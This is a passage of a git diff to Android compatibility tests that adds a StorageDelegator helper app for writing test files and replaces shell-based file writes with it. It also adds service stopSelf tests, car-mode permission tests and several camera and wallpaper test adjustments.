diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 461a929..7c9c985 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -31,6 +31,7 @@
<option name="test-file-name" value="CtsCantSaveState1.apk" />
<option name="test-file-name" value="CtsCantSaveState2.apk" />
<option name="test-file-name" value="NotificationDelegator.apk" />
+ <option name="test-file-name" value="StorageDelegator.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
diff --git a/tests/app/StorageDelegator/Android.bp b/tests/app/StorageDelegator/Android.bp
new file mode 100644
index 0000000..cf9b7a6
--- /dev/null
+++ b/tests/app/StorageDelegator/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "StorageDelegator",
+ defaults: ["cts_support_defaults"],
+
+ optimize: {
+ enabled: false,
+ },
+
+ srcs: ["**/*.java"],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/libs/rollback/testapp/A1.xml b/tests/app/StorageDelegator/AndroidManifest.xml
similarity index 62%
copy from libs/rollback/testapp/A1.xml
copy to tests/app/StorageDelegator/AndroidManifest.xml
index 2cd1825..c252a80 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/tests/app/StorageDelegator/AndroidManifest.xml
@@ -13,20 +13,20 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
- android:versionCode="1"
- android:versionName="1.0" >
+ package="com.android.test.storagedelegator">
+ <uses-sdk android:targetSdkVersion="28" />
- <uses-sdk android:minSdkVersion="19" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <application android:label="Rollback Test App A1">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="StorageDelegator">
+ <activity android:name=".StorageDelegator"
+ android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
+ <action android:name="com.android.cts.action.CREATE_FILE_WITH_CONTENT" />
+ <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
</application>
diff --git a/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
new file mode 100644
index 0000000..b305d8d
--- /dev/null
+++ b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.storagedelegator;
+
+import android.app.Activity;
+import android.app.IntentService;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.Files;
+
+/**
+ * Writes file content for use in tests. This is needed to create files when the test does not have
+ * sufficient permission.
+ */
+public class StorageDelegator extends Activity {
+
+ private static final String TAG = "StorageDelegator";
+ private static final String EXTRA_PATH = "path";
+ private static final String EXTRA_CONTENTS = "contents";
+ private static final String EXTRA_CALLBACK = "callback";
+ private static final String KEY_ERROR = "error";
+ private static final String ACTION_CREATE_FILE_WITH_CONTENT =
+ "com.android.cts.action.CREATE_FILE_WITH_CONTENT";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ if (!getIntent().getAction().equals(ACTION_CREATE_FILE_WITH_CONTENT)) {
+ Log.w(TAG, "Unsupported action: " + getIntent().getAction());
+ finish();
+ return;
+ }
+
+ final String path = getIntent().getStringExtra(EXTRA_PATH);
+ final String contents = getIntent().getStringExtra(EXTRA_CONTENTS);
+ Log.i(TAG, "onHandleIntent: path=" + path + ", content=" + contents);
+
+ final File file = new File(path);
+ if (file.getParentFile() != null) {
+ file.getParentFile().mkdirs();
+ }
+
+ final Bundle result = new Bundle();
+ try {
+ Files.write(file.toPath(), contents.getBytes());
+ Log.i(TAG, "onHandleIntent: path=" + path + ", length=" + file.length());
+ } catch (IOException e) {
+ Log.e(TAG, "writing file: " + path, e);
+ result.putString(KEY_ERROR, e.getMessage());
+ }
+ sendResult(result);
+ finish();
+ }
+
+ void sendResult(Bundle result) {
+ getIntent().<RemoteCallback>getParcelableExtra(EXTRA_CALLBACK).sendResult(result);
+ }
+}
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index 1c06dec..60d71d3 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -8,9 +8,6 @@
},
{
"exclude-annotation": "androidx.test.filters.FlakyTest"
- },
- {
- "exclude-filter": "android.app.cts.SystemFeaturesTest#testLocationFeatures"
}
]
}
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a576e626..7d34da0 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -133,6 +133,8 @@
<meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
</service>
+ <service android:name="android.app.stubs.LocalStoppedService" />
+
<service android:name="android.app.stubs.LocalForegroundService">
<intent-filter>
<action android:name="android.app.stubs.FOREGROUND_SERVICE" />
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index f914cdf..f270582 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -48,12 +48,17 @@
public static final int GET_UID_CODE = 9;
public static final int GET_PPID_CODE = 10;
public static final int GET_ZYGOTE_PRELOAD_CALLED = 11;
+ public static final int STOP_SELF_CODE = 12;
+ public static final int STOP_SELF_RESULT_CODE = 13;
+ public static final int STOP_SELF_SUCCESS_UNBIND_CODE = 14;
public static Context sServiceContext = null;
private IBinder mReportObject;
private int mStartCount = 1;
private int mValue = 0;
+ private int mStartId = -1;
+ private boolean mIsStoppedSelfSuccess;
private final IBinder mBinder = new Binder() {
@Override
@@ -88,6 +93,12 @@
data.enforceInterface(SERVICE_LOCAL);
reply.writeBoolean(ZygotePreload.preloadCalled());
return true;
+ case STOP_SELF_RESULT_CODE:
+ mIsStoppedSelfSuccess = stopSelfResult(mStartId);
+ return true;
+ case STOP_SELF_CODE:
+ stopSelf(mStartId);
+ return true;
default:
return super.onTransact(code, data, reply, flags);
}
@@ -99,6 +110,7 @@
@Override
public void onStart(Intent intent, int startId) {
+ mStartId = startId;
if (intent.getExtras() != null) {
IBinderParcelable parcelable
= (IBinderParcelable) intent.getExtras().getParcelable(REPORT_OBJ_NAME);
@@ -130,7 +142,11 @@
@Override
public boolean onUnbind(Intent intent) {
if (mReportObject != null) {
- bindAction(UNBIND_CODE);
+ if (mIsStoppedSelfSuccess) {
+ bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
+ } else {
+ bindAction(UNBIND_CODE);
+ }
}
return true;
}
diff --git a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
similarity index 66%
copy from libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
copy to tests/app/app/src/android/app/stubs/LocalStoppedService.java
index e426382..b569f95 100644
--- a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
+++ b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -11,15 +11,12 @@
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
*/
-package com.android.cts.rollback.lib.testapp;
+package android.app.stubs;
-import android.app.Activity;
-
-/**
- * A test app for testing apk rollback support.
- */
-public class MainActivity extends Activity {
+public class LocalStoppedService extends LocalService
+{
}
+
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 162e0e2..5adfac8 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1269,10 +1269,6 @@
appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
WAIT_TIME);
uidBackgroundListener.register();
- UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
- appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
- WAIT_TIME);
- uidCachedListener.register();
WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
WAIT_TIME);
@@ -1341,14 +1337,14 @@
AccessibilityService.GLOBAL_ACTION_BACK);
// Wait for process to become cached
- uidCachedListener.waitForValue(
+ uidBackgroundListener.waitForValue(
IMPORTANCE_CACHED,
IMPORTANCE_CACHED);
assertEquals(IMPORTANCE_CACHED,
am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
- uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
// While in background, should go in to normal idle state.
// Force app to go idle now
@@ -1360,7 +1356,6 @@
uidWatcher.finish();
uidForegroundListener.unregister();
uidBackgroundListener.unregister();
- uidCachedListener.unregister();
}
}
@@ -1505,7 +1500,7 @@
getInstrumentation().getUiAutomation().performGlobalAction(
AccessibilityService.GLOBAL_ACTION_BACK);
uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+ uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
// Make both apps idle for cleanliness.
cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 4d1ecfa..13db79d 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -538,23 +538,23 @@
file = new File(
Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
"colors.txt");
- writeToFileFromShell(file, fileContents);
+ writeToFileWithDelegator(file, fileContents);
try {
mDownloadManager.addCompletedDownload("Test title", "Test desc", true,
"text/plain", file.getPath(), fileContents.getBytes().length, true);
fail("addCompletedDownload should have failed for top-level download dir");
- } catch (Exception e) {
+ } catch (SecurityException e) {
// expected
}
// Try adding top-level sdcard path
final String path = "/sdcard/test-download.txt";
- writeToFileFromShell(new File(path), fileContents);
+ writeToFileWithDelegator(new File(path), fileContents);
try {
mDownloadManager.addCompletedDownload("Test title", "Test desc", true,
"text/plain", path, fileContents.getBytes().length, true);
fail("addCompletedDownload should have failed for top-level sdcard path");
- } catch (Exception e) {
+ } catch (SecurityException e) {
// expected
}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index eaab0e3..507bbf4 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -15,10 +15,13 @@
*/
package android.app.cts;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.app.DownloadManager;
import android.content.BroadcastReceiver;
@@ -28,9 +31,11 @@
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
+import android.os.Bundle;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.Process;
+import android.os.RemoteCallback;
import android.os.SystemClock;
import android.provider.MediaStore;
import android.text.TextUtils;
@@ -59,6 +64,8 @@
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.HashSet;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
public class DownloadManagerTestBase {
protected static final String TAG = "DownloadManagerTest";
@@ -71,6 +78,13 @@
protected static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS;
protected static final long LONG_TIMEOUT = 3 * DateUtils.MINUTE_IN_MILLIS;
+ private static final String ACTION_CREATE_FILE_WITH_CONTENT =
+ "com.android.cts.action.CREATE_FILE_WITH_CONTENT";
+ private static final String EXTRA_PATH = "path";
+ private static final String EXTRA_CONTENTS = "contents";
+ private static final String EXTRA_CALLBACK = "callback";
+ private static final String KEY_ERROR = "error";
+ private static final String STORAGE_DELEGATOR_PACKAGE = "com.android.test.storagedelegator";
protected Context mContext;
protected DownloadManager mDownloadManager;
@@ -259,26 +273,20 @@
assertEquals(contents, actual);
}
- protected static void writeToFileFromShell(File file, String contents) throws Exception {
- runShellCommand("mkdir -p " + file.getParentFile());
- runShellCommand("rm " + file);
+ protected void writeToFileWithDelegator(File file, String contents) throws Exception {
+ final CompletableFuture<Bundle> callbackResult = new CompletableFuture<>();
- final String cmd = "dd of=" + file.getAbsolutePath();
- final ParcelFileDescriptor[] pfds = InstrumentationRegistry.getInstrumentation()
- .getUiAutomation().executeShellCommandRw(cmd);
- try (final PrintWriter out =
- new PrintWriter(new ParcelFileDescriptor.AutoCloseOutputStream(pfds[1]))) {
- out.print(contents);
+ mContext.startActivity(new Intent(ACTION_CREATE_FILE_WITH_CONTENT)
+ .setPackage(STORAGE_DELEGATOR_PACKAGE)
+ .putExtra(EXTRA_PATH, file.getAbsolutePath())
+ .putExtra(EXTRA_CONTENTS, contents)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .putExtra(EXTRA_CALLBACK, new RemoteCallback(callbackResult::complete)));
+
+ final Bundle resultBundle = callbackResult.get(SHORT_TIMEOUT, TimeUnit.MILLISECONDS);
+ if (resultBundle.getString(KEY_ERROR) != null) {
+ fail("Failed to create the file " + file + ", error:" + resultBundle.getString(KEY_ERROR));
}
-
- final String res;
- try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfds[0])) {
- res = readFromInputStream(fis);
- }
- Log.d(TAG, "Output of '" + cmd + "': '" + res + "'");
- runShellCommand("sync");
-
- assertFileContents(file, contents);
}
private static String readFromInputStream(InputStream inputStream) throws Exception {
@@ -291,13 +299,6 @@
return res.toString();
}
- protected static void assertFileContents(File file, String contents) {
- final String cmd = "cat " + file.getAbsolutePath();
- final String output = runShellCommand(cmd);
- Log.d(TAG, "Output of '" + cmd + "': '" + output + "'");
- assertEquals(contents, output);
- }
-
protected void clearDownloads() {
if (getTotalNumberDownloads() > 0) {
Cursor cursor = null;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 6649346..792ef5d 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -29,6 +29,7 @@
import android.app.stubs.LocalForegroundService;
import android.app.stubs.LocalGrantedService;
import android.app.stubs.LocalService;
+import android.app.stubs.LocalStoppedService;
import android.app.stubs.NullService;
import android.app.stubs.R;
import android.content.ComponentName;
@@ -45,6 +46,7 @@
import android.os.Process;
import android.os.RemoteException;
import android.os.SystemClock;
+import android.os.UserHandle;
import android.service.notification.StatusBarNotification;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
@@ -77,6 +79,7 @@
private static final int STATE_DESTROY = 4;
private static final int STATE_REBIND = 5;
private static final int STATE_UNBIND_ONLY = 6;
+ private static final int STATE_STOP_SELF_SUCCESS_UNBIND = 6;
private static final int DELAY = 5000;
private static final
String EXIST_CONN_TO_RECEIVE_SERVICE = "existing connection to receive service";
@@ -220,6 +223,46 @@
}
}
+ private class TestStopSelfConnection extends TestConnection {
+ private IBinder mService;
+
+ public TestStopSelfConnection() {
+ super(false /* expectDisconnect */, true /* setReporter */);
+ }
+
+ private void executeTransact(int code) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+ try {
+ mService.transact(code, data, null /* reply */, 0);
+ } catch (RemoteException e) {
+ finishBad("DeadObjectException when sending reporting object");
+ }
+ data.recycle();
+ }
+
+ public void stopSelf() {
+ executeTransact(LocalService.STOP_SELF_CODE);
+ }
+
+ public void stopSelfResult() {
+ executeTransact(LocalService.STOP_SELF_RESULT_CODE);
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ mService = service;
+ super.onServiceConnected(name, service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ synchronized (this) {
+ mService = null;
+ }
+ }
+ }
+
final class IsolatedConnection implements ServiceConnection {
private IBinder mService;
private int mUid;
@@ -756,12 +799,70 @@
+ mExpectedServiceState + ")");
}
return true;
+ } else if (code == LocalService.STOP_SELF_SUCCESS_UNBIND_CODE) {
+ data.enforceInterface(LocalService.SERVICE_LOCAL);
+ if (mExpectedServiceState == STATE_STOP_SELF_SUCCESS_UNBIND) {
+ finishGood();
+ } else {
+ finishBad("onUnbind() was called when not expected (state="
+ + mExpectedServiceState + ")");
+ }
+ return true;
} else {
return super.onTransact(code, data, reply, flags);
}
}
}
+ public void testStopSelf() throws Exception {
+ TestStopSelfConnection conn = new TestStopSelfConnection();
+ boolean success = false;
+ final Intent service = new Intent(mContext, LocalStoppedService.class);
+ try {
+ conn.setMonitor(true);
+ mExpectedServiceState = STATE_START_1;
+ mContext.bindService(service, conn, 0);
+ mContext.startService(service);
+ waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+ success = true;
+ } finally {
+ if (!success) {
+ mContext.unbindService(conn);
+ mContext.stopService(service);
+ }
+ }
+ // Expect to see the service unbind and then destroyed.
+ mExpectedServiceState = STATE_UNBIND;
+ conn.stopSelf();
+ waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+ mContext.unbindService(conn);
+ }
+
+ public void testStopSelfResult() throws Exception {
+ TestStopSelfConnection conn = new TestStopSelfConnection();
+ boolean success = false;
+ final Intent service = new Intent(mContext, LocalStoppedService.class);
+ try {
+ conn.setMonitor(true);
+ mExpectedServiceState = STATE_START_1;
+ mContext.bindService(service, conn, 0);
+ mContext.startService(service);
+ waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+ success = true;
+ } finally {
+ if (!success) {
+ mContext.unbindService(conn);
+ mContext.stopService(service);
+ }
+ }
+ // Expect to see the service unbind and then destroyed.
+ mExpectedServiceState = STATE_STOP_SELF_SUCCESS_UNBIND;
+ conn.stopSelfResult();
+ waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+ mContext.unbindService(conn);
+ }
public void testLocalStartClass() throws Exception {
startExpectResult(mLocalService);
@@ -1352,6 +1453,22 @@
return mInfo != null ? mInfo.getConnection().getUid() : mUid;
}
+ int getUserId() {
+ return UserHandle.getUserHandleForUid(getUid()).getIdentifier();
+ }
+
+ int getAppId() {
+ return UserHandle.getAppId(getUid());
+ }
+
+ boolean isEquivalentTo(ProcessRecordProto proc) {
+ int procAppId = proc.isolatedAppId != 0 ? proc.isolatedAppId : UserHandle.getAppId(
+ proc.uid);
+
+ // Compare appid and userid separately because UserHandle.getUid is @hide.
+ return procAppId == getAppId() && proc.userId == getUserId();
+ }
+
int getFlags() {
return mFlags;
}
@@ -1441,20 +1558,18 @@
logProc(i, proc);
final LruOrderItem lru = orderItems[orderI];
Log.i("XXXXXXXX", "Expecting uid: " + lru.getUid());
- int procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
- if (procUid != lru.getUid()) {
+ if (!lru.isEquivalentTo(proc)) {
if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
while (i > 0) {
i--;
proc = procs.get(i);
logProc(i, proc);
- procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
- if (procUid == lru.getUid()) {
+ if (lru.isEquivalentTo(proc)) {
break;
}
}
}
- if (procUid != lru.getUid()) {
+ if (!lru.isEquivalentTo(proc)) {
if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
fail("Didn't find expected LRU proc uid=" + lru.getUid());
}
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index e63c222..55da157 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -15,6 +15,9 @@
*/
package android.app.cts;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import android.app.UiAutomation;
import android.app.UiModeManager;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -152,6 +155,41 @@
BatteryUtils.runDumpsysBatteryReset();
}
+ /**
+ * Verifies that an app holding the ENTER_CAR_MODE_PRIORITIZED permission can enter car mode
+ * while specifying a priority.
+ */
+ public void testEnterCarModePrioritized() {
+ // Adopt shell permission so the required permission
+ // (android.permission.ENTER_CAR_MODE_PRIORITIZED) is granted.
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ ui.adoptShellPermissionIdentity();
+
+ try {
+ mUiModeManager.enableCarMode(100, 0);
+ assertEquals(Configuration.UI_MODE_TYPE_CAR, mUiModeManager.getCurrentModeType());
+
+ mUiModeManager.disableCarMode(0);
+ assertEquals(Configuration.UI_MODE_TYPE_NORMAL, mUiModeManager.getCurrentModeType());
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
+ * Attempts to use the prioritized car mode API when the caller does not hold the correct
+ * permission to use that API.
+ */
+ public void testEnterCarModePrioritizedDenied() {
+ try {
+ mUiModeManager.enableCarMode(100, 0);
+ } catch (SecurityException se) {
+ // Expect exception.
+ return;
+ }
+ fail("Expected SecurityException");
+ }
+
private boolean isAutomotive() {
return getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_AUTOMOTIVE);
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index fe5f183..3b9934a 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,6 +16,7 @@
package android.app.cts;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyInt;
import static org.mockito.ArgumentMatchers.nullable;
@@ -72,6 +73,7 @@
MockitoAnnotations.initMocks(this);
mContext = InstrumentationRegistry.getTargetContext();
mWallpaperManager = WallpaperManager.getInstance(mContext);
+ assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
handlerThread.start();
mHandler = new Handler(handlerThread.getLooper());
@@ -477,4 +479,4 @@
public void onColorsChanged(WallpaperColors colors, int which) {
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index dbc5f38..8e92d9a 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -39,6 +39,7 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.RequiredServiceRule;
import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
@@ -47,6 +48,7 @@
import org.junit.runner.RunWith;
import java.util.ArrayList;
+import org.junit.ClassRule;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.Executors;
@@ -66,6 +68,10 @@
private static final String TEST_LAUNCH_LOCATION = "testCollapsedLocation";
private static final int TEST_ACTION = 2;
+ @ClassRule
+ public static final RequiredServiceRule mRequiredServiceRule =
+ new RequiredServiceRule(APP_PREDICTION_SERVICE);
+
private ServiceReporter mReporter;
private Bundle mPredictionContextExtras;
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 9342a6f..53decc1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -517,7 +517,11 @@
" does not support color outputs, skipping");
continue;
}
-
+ if (!mAllStaticInfo.get(mCameraIds[i]).hasFlash()) {
+ Log.i(TAG, "Camera " + mCameraIds[i] +
+ " does not support flash, skipping");
+ continue;
+ }
openDevice(mCameraIds[i]);
SimpleCaptureCallback listener = new SimpleCaptureCallback();
CaptureRequest.Builder requestBuilder =
@@ -1462,18 +1466,6 @@
mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler);
waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
- // For camera that doesn't have flash unit, flash state should always be UNAVAILABLE.
- if (mStaticInfo.getFlashInfoChecked() == false) {
- for (int i = 0; i < NUM_FLASH_REQUESTS_TESTED; i++) {
- result = listener.getCaptureResult(CAPTURE_RESULT_TIMEOUT_MS);
- mCollector.expectEquals("No flash unit available, flash state must be UNAVAILABLE"
- + "for AE mode " + initialAeControl,
- CaptureResult.FLASH_STATE_UNAVAILABLE,
- result.get(CaptureResult.FLASH_STATE));
- }
- return;
- }
-
// Turn on torch using FLASH_MODE_TORCH
requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 75e0fca..a5ea222 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -145,7 +145,9 @@
/**
* Test that the available stream configurations contain a few required formats and sizes.
*/
+ @CddTest(requirement="7.5.1/C-1-2")
public void testAvailableStreamConfigs() throws Exception {
+ boolean firstBackFacingCamera = true;
for (int i = 0; i < mAllCameraIds.length; i++) {
CameraCharacteristics c = mCharacteristics.get(i);
StreamConfigurationMap config =
@@ -216,10 +218,13 @@
sensorResolution >= MIN_FRONT_SENSOR_RESOLUTION);
break;
case CameraCharacteristics.LENS_FACING_BACK:
- assertTrue("Back Sensor resolution should be at least "
- + MIN_BACK_SENSOR_RESOLUTION +
- " pixels, is "+ sensorResolution,
- sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+ if (firstBackFacingCamera) {
+ assertTrue("Back Sensor resolution should be at least "
+ + MIN_BACK_SENSOR_RESOLUTION +
+ " pixels, is "+ sensorResolution,
+ sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+ firstBackFacingCamera = false;
+ }
break;
default:
break;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e8d2812..f28e50c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -1030,6 +1030,9 @@
// stopPreview must be called here to make sure next time a preview stream
// is created with new size.
stopPreview();
+ // Drain the results after each combination. Depending on the device the results
+ // can be relatively big and could accumulate fairly quickly after many iterations.
+ resultListener.drain();
}
}
diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp
new file mode 100644
index 0000000..0dba01a
--- /dev/null
+++ b/tests/contentsuggestions/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
